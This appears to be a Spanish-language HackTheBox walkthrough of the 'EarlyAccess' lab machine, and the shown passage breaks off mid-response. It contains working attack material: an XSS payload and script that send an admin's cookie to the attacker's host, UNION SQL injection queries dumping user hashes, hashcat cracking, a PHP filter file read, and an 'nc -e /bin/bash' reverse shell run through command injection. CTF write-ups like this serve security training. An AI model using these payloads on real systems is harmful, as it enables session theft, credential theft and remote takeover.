EarlyAccess es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina EarlyAccess 10.10.11.110 a /etc/hosts como earlyaccess.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Nmap 7.92 scan initiated Tue Jan 25 09:57:20 2022 as: nmap -sC -sV -oA enumeration/nmap 10.10.11.110 Nmap scan report for earlyaccess.htb (10.10.11.110) Host is up (0.043s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 e4:66:28:8e:d0:bd:f3:1d:f1:8d:44:e9:14:1d:9c:64 (RSA) | 256 b3:a8:f4:49:7a:03:79:d3:5a:13:94:24:9b:6a:d1:bd (ECDSA) |_ 256 e9:aa:ae:59:4a:37:49:a6:5a:2a:32:1d:79:26:ed:bb (ED25519) 80/tcp open http Apache httpd 2.4.38 |_http-title: Did not follow redirect to https://earlyaccess.htb/ |_http-server-header: Apache/2.4.38 (Debian) 443/tcp open ssl/http Apache httpd 2.4.38 ((Debian)) |_http-title: EarlyAccess | ssl-cert: Subject: commonName=earlyaccess.htb/organizationName=EarlyAccess Studios/stateOrProvinceName=Vienna/countryName=AT | Not valid before: 2021-08-18T14:46:57 |_Not valid after: 2022-08-18T14:46:57 | tls-alpn: |_ http/1.1 |_http-server-header: Apache/2.4.38 (Debian) |_ssl-date: TLS randomness does not represent time Service Info: Host: 172.18.0.102; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jan 25 09:57:40 2022 -- 1 IP address (1 host up) scanned in 19.75 seconds |
Observamos los puertos abiertos, y vemos que el portal web existente en el puerto 80 redirecciona al 443, por lo que comenzaremos por ese punto.
Enumeración
Como ya indicábamos accedemos al portal web earlyaccess.htb en el puerto 443 y vemos la siguiente ventana
Navegamos un poco por la página y vemos un enlace a una página de login y otro a una de registro, pero lanzamos una enumeración de directorios y ficheros y nos encontramos con que hay un waf de por medio que nos bloquea
Así que no va a ser una opción, por lo que nos creamos una cuenta, logueamos con la misma y veremos la pantalla del foro
Revisamos un poco el portal y vemos una sección de mensajes privados donde es posible enviar mensajes al usuario admin@earlyaccess.htb, una sección donde se puede registrar la clave de un juego y el foro, donde si indagamos un poco, vemos que los usuarios reportan dos bugs, uno que tiene que ver con el nombre del usuario y otro que habla de la pantalla de puntuaciones.
XSS para escalar a admin
Viendo la parte del usuario, hacemos alguna prueba con el mismo y vemos que es vulnerable a XSS, así que vamos a tratar de obtener la cookie del usuario admin al enviarle un mensaje.
Para ello, lo vamos a hacer de una forma muy simple.
Modificaremos el nombre de nuestro usuario por el siguiente:
1 |
bytemind<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="https://10.10.14.13/index.js"></img> |
El fichero index.js al que llamamos llevará el siguiente contenido:
1 2 3 |
var serverUrl = "https://10.10.14.13/cookie"; var newimg = new Image(); newimg.src=serverUrl+"?cookie="+escape(document.cookie); |
Levantaremos nuestro servidor con python
1 |
$ python3 -m http.server 443 |
Enviaremos un mensaje al usuario admin a través del formulario, y esperamos a que el mismo lo abra para obtener la cookie en nuestro servidor
1 2 3 4 5 |
$ sudo python3 pyXSSPlatform.py 10.10.14.13 443 https_svr_key.pem Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ... 10.10.11.110 - - [25/Jan/2022 10:47:55] "GET /index.js HTTP/1.1" 200 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.114 Safari/537.36 10.10.11.110 - - [25/Jan/2022 10:47:55] code 404, message File not found 10.10.11.110 - - [25/Jan/2022 10:47:55] "GET /cookie?cookie=XSRF-TOKEN%3DeyJpdiI6IlZybDRKekZ0TTZaY1h4RGpIbDlsYXc9PSIsInZhbHVlIjoia2U2cHNYenl6UGwvek1uakVOZ1QxanZTR3VwV0oxcjN4K0JRWFhtc1NpcjVCUFRhNm1vcy95MDJEYlNId0g1bW5wUlpXQjY2b2FNdXcvS2M4aXdYMk5HVDBzeTEwOWtGTEdqM3FxbmZCUnJ2aHBSL1VqdG1zTUVoY25pa0tYZFQiLCJtYWMiOiIzNTNkZmUzOTBlYTM1MGY2YTQ3YjIxNGEzZmM5NzZkYWFlZjQ3YWM0YTBiZGY1MmEyM2VkZmRhOGMxMjBhMGJjIn0%253D%3B%20earlyaccess_session%3DeyJpdiI6IjZvTDZwSERxUXJDRlVWOUZGYmhpYVE9PSIsInZhbHVlIjoiSU43dkorUHIvZURTcktnYUNCZXhpaHArNWprN1hhczJ0dzJ5dG5WY21ZMFhoY2Y4VUZvczBzS3JNWHpNYThUZy9rbUNiTHdNS1d0T0c4YldzeFM1dEhaemRpREZzSjJONDh4Z1pDd255ZEdhUEhuUlIwemVGTmZpeEluQjMrcUEiLCJtYWMiOiIwNGI5ZjJmNjdmN2U3ZTc5OWRiYjBmMzliODEwNzUxZTkwMDkzODk2M2FjNzA3ZDRjNDBmYjA5NDM3NGMxOTg2In0%253D HTTP/1.1" 404 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.114 Safari/537.36 |
Y ya tenemos la cookie, ahora sólo nos queda editar la misma en el navegador y recargar, y veremos como nuestro usuario a pasado a ser admin
Obteniendo la clave de juego
Ahora que vemos el panel de administrador observamos varias cosas.
Por una parte dos subdominios que no conocíamos todavía:
- dev.earlyaccess.htb
- game.earlyaccess.htb
Una sección de backups donde podemos descargar un fichero .zip
Y una sección para verificar la key de un juego, así que vamos a descargarnos el backup y observamos que en su interior está el fichero validate.py para validar las claves con el siguiente contenido:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
#!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") |
Observando el anterior código vemos que la clave consta de 5 grupos, en los cuales los grupos 1, 2 y 4 podemos calcularlos fácilmente, pero el grupo 3 y el 5 no.
Vemos también que el carácter aleatorio se basa en un número mágico
1 |
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) |
Que se genera aleatoriamente por la aplicación cada 30 min, por lo que tendremos que probar con una serie de códigos hasta dar con la clave.
Y vemos que el grupo 3 está formado por los caracteres “XP” más 3 caracteres que son letras y un número, así que vamos a calcularlo.
En primer lugar nos hemos hecho algunas modificaciones sobre el fichero de validación para ver en que grupo nos quedamos, y hemos generado el siguiente script para calcular los diferentes grupos.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
$ cat get-groups.py import string alphabet = list(string.ascii_uppercase) digits = list(string.digits) all_strings = alphabet + digits g1 = "" g2 = "" g4 = "" def group1(): i = 2 gv1 = {} for i in digits: for value in all_strings: r = [(ord(value)<<int(i)+1)%256^ord(value)] if r[0] == 221 and "221" not in gv1: gv1["221"] = value if r[0] == 81 and "81" not in gv1: gv1["81"] = value if r[0] == 145 and "145" not in gv1: gv1["145"] = value return gv1["221"] + gv1["81"] + gv1["145"] + "11" def group2(): for x in all_strings: for y in all_strings: for z in all_strings: for n in all_strings: for t in all_strings: value = x + y + z + n + t p1 = value[::2] p2 = value[1::2] if sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())): return value def group4(): for x in all_strings: for y in all_strings: for z in all_strings: for n in all_strings: for t in all_strings: key4 = x + y + z + n + t r = [ord(i)^ord(g) for g, i in zip(g1, key4)] if r == [12,4,20,117,0]: return key4 def generate(): min = 178 for x in alphabet: for y in alphabet: for z in digits: r = int(ord(x))+int(ord(y))+int(ord(z)) if r >= min: g3 = "XP" + x + y + z groups = [g1, g2, g3, g4] last = sum([sum(bytearray(g.encode())) for g in groups]) print("%s-%s-%s-%s-%s" %(g1,g2,g3,g4,last)) min = min + 1 g1 = group1() g2 = group2() g4 = group4() generate() |
En el caso de la función de generate, el valor mínimo de 178 surge del siguiente cálculo
1 |
178 = 346 - 168 |
Donde 168 surge de
1 |
168 = sum(bytearray((self.magic_value).encode())) |
Dicho esto, ejecutamos el script para sacar 60 combinaciones de claves en base a los posibles números aleatorios que ha podido generar la aplicación
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
$ python3 get-groups.py KEY11-AG0Z0-XPAA0-GAMD1-1329 KEY11-AG0Z0-XPAA1-GAMD1-1330 KEY11-AG0Z0-XPAA2-GAMD1-1331 KEY11-AG0Z0-XPAA3-GAMD1-1332 KEY11-AG0Z0-XPAA4-GAMD1-1333 KEY11-AG0Z0-XPAA5-GAMD1-1334 KEY11-AG0Z0-XPAA6-GAMD1-1335 KEY11-AG0Z0-XPAA7-GAMD1-1336 KEY11-AG0Z0-XPAA8-GAMD1-1337 KEY11-AG0Z0-XPAA9-GAMD1-1338 KEY11-AG0Z0-XPAB9-GAMD1-1339 KEY11-AG0Z0-XPAC9-GAMD1-1340 KEY11-AG0Z0-XPAD9-GAMD1-1341 KEY11-AG0Z0-XPAE9-GAMD1-1342 KEY11-AG0Z0-XPAF9-GAMD1-1343 KEY11-AG0Z0-XPAG9-GAMD1-1344 KEY11-AG0Z0-XPAH9-GAMD1-1345 KEY11-AG0Z0-XPAI9-GAMD1-1346 KEY11-AG0Z0-XPAJ9-GAMD1-1347 KEY11-AG0Z0-XPAK9-GAMD1-1348 KEY11-AG0Z0-XPAL9-GAMD1-1349 KEY11-AG0Z0-XPAM9-GAMD1-1350 KEY11-AG0Z0-XPAN9-GAMD1-1351 KEY11-AG0Z0-XPAO9-GAMD1-1352 KEY11-AG0Z0-XPAP9-GAMD1-1353 KEY11-AG0Z0-XPAQ9-GAMD1-1354 KEY11-AG0Z0-XPAR9-GAMD1-1355 KEY11-AG0Z0-XPAS9-GAMD1-1356 KEY11-AG0Z0-XPAT9-GAMD1-1357 KEY11-AG0Z0-XPAU9-GAMD1-1358 KEY11-AG0Z0-XPAV9-GAMD1-1359 KEY11-AG0Z0-XPAW9-GAMD1-1360 KEY11-AG0Z0-XPAX9-GAMD1-1361 KEY11-AG0Z0-XPAY9-GAMD1-1362 KEY11-AG0Z0-XPAZ9-GAMD1-1363 KEY11-AG0Z0-XPBZ9-GAMD1-1364 KEY11-AG0Z0-XPCZ9-GAMD1-1365 KEY11-AG0Z0-XPDZ9-GAMD1-1366 KEY11-AG0Z0-XPEZ9-GAMD1-1367 KEY11-AG0Z0-XPFZ9-GAMD1-1368 KEY11-AG0Z0-XPGZ9-GAMD1-1369 KEY11-AG0Z0-XPHZ9-GAMD1-1370 KEY11-AG0Z0-XPIZ9-GAMD1-1371 KEY11-AG0Z0-XPJZ9-GAMD1-1372 KEY11-AG0Z0-XPKZ9-GAMD1-1373 KEY11-AG0Z0-XPLZ9-GAMD1-1374 KEY11-AG0Z0-XPMZ9-GAMD1-1375 KEY11-AG0Z0-XPNZ9-GAMD1-1376 KEY11-AG0Z0-XPOZ9-GAMD1-1377 KEY11-AG0Z0-XPPZ9-GAMD1-1378 KEY11-AG0Z0-XPQZ9-GAMD1-1379 KEY11-AG0Z0-XPRZ9-GAMD1-1380 KEY11-AG0Z0-XPSZ9-GAMD1-1381 KEY11-AG0Z0-XPTZ9-GAMD1-1382 KEY11-AG0Z0-XPUZ9-GAMD1-1383 KEY11-AG0Z0-XPVZ9-GAMD1-1384 KEY11-AG0Z0-XPWZ9-GAMD1-1385 KEY11-AG0Z0-XPXZ9-GAMD1-1386 KEY11-AG0Z0-XPYZ9-GAMD1-1387 KEY11-AG0Z0-XPZZ9-GAMD1-1388 |
Así que ahora vamos a utilizar Burp Suite para hacer un ataque de fuerza bruta con estas claves y conseguir descubrir la válida. Para ello vamos a realizar los siguientes pasos:
- Interceptaremos una petición de verificación de clave y la enviaremos al Intruder de Burp
- Quitaremos el valor de XSRF-TOKEN de la cookie ya que lo calculará Burp
- Añadimos los payloads generados previamente
- Añadiremos opciones para el filtrado de respuestas
- Habilitaremos que siempre siga redirecciones en las opciones
- Y añadiremos una condición para que capture el token (dejo captura de este último)
Lanzaremos el ataque y conseguiremos encontrar la clave válida
Así que con la clave válida, volvemos a la cuenta de nuestro usuario creada al principio, e introduciremos la clave obtenida
Inyección SQL en el portal de juego
Ahora que ya lo tenemos accedemos al subdominio de game.earlyaccess.htb con nuestras credenciales y veremos la siguiente pantalla del juego de la serpiente
Navegamos un poco por el portal y vemos un error sql al ver la pantalla de puntuaciones
Viendo el error que muestra, está claro que falla por el nombre de nuestro usuario, y además tenemos los caracteres que lo identifican que serían ‘) así que vamos a tratar de hacer una inyección sql para obtener más datos de los usuarios existentes.
Hacemos alguna prueba y descubrimos que la tabla existente dispone de 3 campos con la siguiente query
1 |
bytemind') UNION SELECT NULL,NULL,NULL FROM scoreboard; -- |
Indagamos un poco más para obtener las tablas existentes en el sistema
1 |
bytemind') UNION SELECT NULL,table_name,NULL FROM information_schema.tables; -- |
Y vemos una tabla users, así que vamos a descubrir que columnas tiene la misma
1 |
bytemind') UNION SELECT NULL,column_name,NULL FROM information_schema.columns where table_name='users'; -- |
Y como la tabla scoreboards sólo tenía 3 campos, cogemos los 3 que más nos interesan de la tabla users
1 |
bytemind') UNION SELECT email,role,password from users; -- |
Y obtenemos todos los usuarios existentes
Así que ahora que tenemos los hashes de los usuarios vamos a identificar el tipo de hash
1 2 3 4 5 6 7 8 9 10 11 |
$ hashid 618292e936625aca8df61d5fff5c06837c49e491 Analyzing '618292e936625aca8df61d5fff5c06837c49e491' [+] SHA-1 [+] Double SHA-1 [+] RIPEMD-160 [+] Haval-160 [+] Tiger-160 [+] HAS-160 [+] LinkedIn [+] Skein-256(160) [+] Skein-512(160) |
Y lo romperemos con hashcat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ hashcat -m 100 hash /usr/share/wordlists/rockyou.txt --force hashcat (v6.2.5) starting Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 618292e936625aca8df61d5fff5c06837c49e491:gameover Session..........: hashcat Status...........: Cracked Hash.Mode........: 100 (SHA1) Hash.Target......: 618292e936625aca8df61d5fff5c06837c49e491 Time.Started.....: Wed Jan 26 15:43:05 2022, (1 sec) Time.Estimated...: Wed Jan 26 15:43:06 2022, (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 25360 H/s (0.29ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 7168/14344385 (0.05%) Rejected.........: 0/7168 (0.00%) Restore.Point....: 6144/14344385 (0.04%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: horoscope -> emoemo Hardware.Mon.#1..: Util: 44% Started: Wed Jan 26 15:42:33 2022 Stopped: Wed Jan 26 15:43:07 2022 |
Obteniendo una shell con www-data
Y ya tenemos la contraseña de admin para ir al otro portal, el de dev. Así que vamos al mismo y nos logueamos viendo el siguiente panel
Navegamos por la ventana y vemos dos secciones, una sección de ficheros que indica que está en construcción y una sección de hash donde se ve el siguiente formulario
Revisamos el código html y vemos que el formulario hace una petición POST a /actions/hash.php por lo que vamos a tratar de acceder a la sección de ficheros con curl a ver si el fichero existe.
Hacemos la prueba con curl y bingo! existe
1 2 |
$ curl -X POST http://dev.earlyaccess.htb/actions/file.php -H 'Cookie: PHPSESSID=2a436cd7fcbdc570034686f0b8d85a2d' -d 'action=hash&redirect=true&password=test&hash_function=md5' <h1>ERROR:</h1>Please specify file! |
Pero ahora tenemos un problema, y es que no conocemos como especificar un fichero, así que como entendemos que será por parámetro, vamos a enumerar posibles parámetros a ver si encontramos el bueno
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ wfuzz -u http://dev.earlyaccess.htb/actions/file.php?FUZZ=file -w /home/asdf/github/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b "PHPSESSID=2a436cd7fcbdc570034686f0b8d85a2d" --hc 404 --hh 35 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://dev.earlyaccess.htb/actions/file.php?FUZZ=file Total requests: 2588 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001316: 500 0 L 2 W 32 Ch "filepath" Total time: 23.53885 Processed Requests: 2588 Filtered Requests: 2587 Requests/sec.: 109.9458 |
Y tenemos el parámetro filepath, así que ahora vamos a tratar de obtener por medio de los filtros de php el fichero hash.php.
Hacemos la siguiente petición para conseguir el fichero en base64
1 |
$ curl "http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=hash.php" -H 'Cookie: PHPSESSID=2a436cd7fcbdc570034686f0b8d85a2d' -s |
Y obtenemos el siguiente código
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
<?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } |
Revisamos el código anterior y vemos varias partes. Un comentario del desarrollador que indica que tiene que ser sencillo…
1 2 3 4 |
// DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); |
Y una función para la verificación del tipo de hash, pero que además indica un parámetro más, debug
1 2 3 |
// Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); |
Así que vamos a hacer una petición añadiendo el parámetro debug
1 2 3 4 5 6 7 |
$ curl -X POST http://dev.earlyaccess.htb/actions/hash.php -H 'Cookie: PHPSESSID=2a436cd7fcbdc570034686f0b8d85a2d' -d 'action=hash&redirect=true&password=test&hash_function=asdf&debug=true' <br /> <b>Fatal error</b>: Uncaught Error: Call to undefined function asdf() in /var/www/earlyaccess.htb/dev/actions/hash.php:9 Stack trace: #0 /var/www/earlyaccess.htb/dev/actions/hash.php(53): hash_pw('asdf', 'test') #1 {main} thrown in <b>/var/www/earlyaccess.htb/dev/actions/hash.php</b> on line <b>9</b><br /> |
Nos devuelve un error relacionado con la función llamada, así que hacemos alguna prueba más y observamos que utilizando la función system no devuelve ningún error
1 |
$ curl -X POST http://dev.earlyaccess.htb/actions/hash.php -H 'Cookie: PHPSESSID=2a436cd7fcbdc570034686f0b8d85a2d' -d 'action=hash&redirect=true&password=test&hash_function=system&debug=true' |
Así que vamos a tratar de obtener una shell aprovechando la misma
1 |
$ curl -L -X POST http://dev.earlyaccess.htb/actions/hash.php -H 'Cookie: PHPSESSID=2a436cd7fcbdc570034686f0b8d85a2d' -d 'action=hash&redirect=true&password=nc+10.10.14.13+4444+-e+/bin/bash&hash_function=system&debug=true' |
Y dentro
1 2 3 4 5 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from earlyaccess.htb [10.10.11.110] 57726 id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Revisamos un poco la máquina y los usuarios existentes y escalamos al usuario www-adm con las credenciales obtenidas anteriormente
1 2 3 4 5 6 7 |
www-data@webserver:/$ su www-adm su www-adm Password: gameover www-adm@webserver:/$ id id uid=1000(www-adm) gid=1000(www-adm) groups=1000(www-adm) |
Escalado a drew
Ahora ya estamos dentro pero no tenemos nada al respecto, y no podemos coger la flag, así que vamos a enumerar y encontramos unas credenciales de una api en la home del usuario
1 2 3 4 |
www-adm@webserver:~$ cat .wgetrc cat .wgetrc user=api password=s3CuR3_API_PW! |
Revisamos los procesos existentes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
www-adm@webserver:~$ ps -e -o command ps -e -o command COMMAND /bin/sh -c /root/entry.sh /bin/sh /root/entry.sh /usr/sbin/cron apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND apache2 -DFOREGROUND sh -c nc 10.10.14.13 4444 -e /bin/bash bash python3 -c import pty;pty.spawn("/bin/bash"); /bin/bash su www-adm bash ps -e -o command |
El fichero de hosts
1 2 3 4 5 6 7 8 9 |
www-adm@webserver:~$ cat /etc/hosts cat /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.18.0.102 webserver |
Y los cgroups existentes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
www-adm@webserver:~$ cat /proc/self/cgroup cat /proc/self/cgroup 11:blkio:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 10:devices:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 9:rdma:/ 8:memory:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 7:freezer:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 6:cpuset:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 5:pids:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 4:cpu,cpuacct:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 3:net_cls,net_prio:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 2:perf_event:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 1:name=systemd:/docker/f110f4b5a8ccf7d3c8793d96a9ee68148e88e43388ec95cc7e87a6c023813f8a 0::/system.slice/containerd.service |
Y vemos que realmente estamos dentro de un contenedor de docker, por lo que la api estará en otro contenedor diferente, así que usamos ping para detectar las ips levantadas y enumeramos los puertos posibles con nc en las mismas
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
www-adm@webserver:~$ nc -nvz 172.18.0.1 1-65535 nc -nvz 172.18.0.1 1-65535 (UNKNOWN) [172.18.0.1] 443 (https) open (UNKNOWN) [172.18.0.1] 80 (http) open (UNKNOWN) [172.18.0.1] 22 (ssh) open www-adm@webserver:~$ nc -nvz 172.18.0.2 1-65535 nc -nvz 172.18.0.2 1-65535 www-adm@webserver:~$ nc -nvz 172.18.0.100 1-65535 nc -nvz 172.18.0.100 1-65535 (UNKNOWN) [172.18.0.100] 33060 (?) open (UNKNOWN) [172.18.0.100] 3306 (mysql) open www-adm@webserver:~$ nc -nvz 172.18.0.101 1-65535 nc -nvz 172.18.0.101 1-65535 (UNKNOWN) [172.18.0.101] 5000 (?) open |
Y encontramos un puerto 5000 en el contendor con ip 172.18.0.101 que parece que será donde esté la api montada, así que testeamos con un simple curl y bingo!
1 2 3 |
www-adm@webserver:~$ curl 172.18.0.101:5000 curl 172.18.0.101:5000 {"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/<game-key>. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200} |
Nos indica que los administradores pueden verificar la base de datos con la uri /check_db así que probamos
1 2 3 |
www-adm@webserver:~$ curl 172.18.0.101:5000/check_db curl 172.18.0.101:5000/check_db Invalid HTTP-Auth! |
Introducimos las credenciales…
1 2 3 4 |
www-adm@webserver:~$ curl -u "api:s3CuR3_API_PW!" 172.18.0.101:5000/check_db curl -u "api:s3CuR3_API_PW!" 172.18.0.101:5000/check_db {"message": 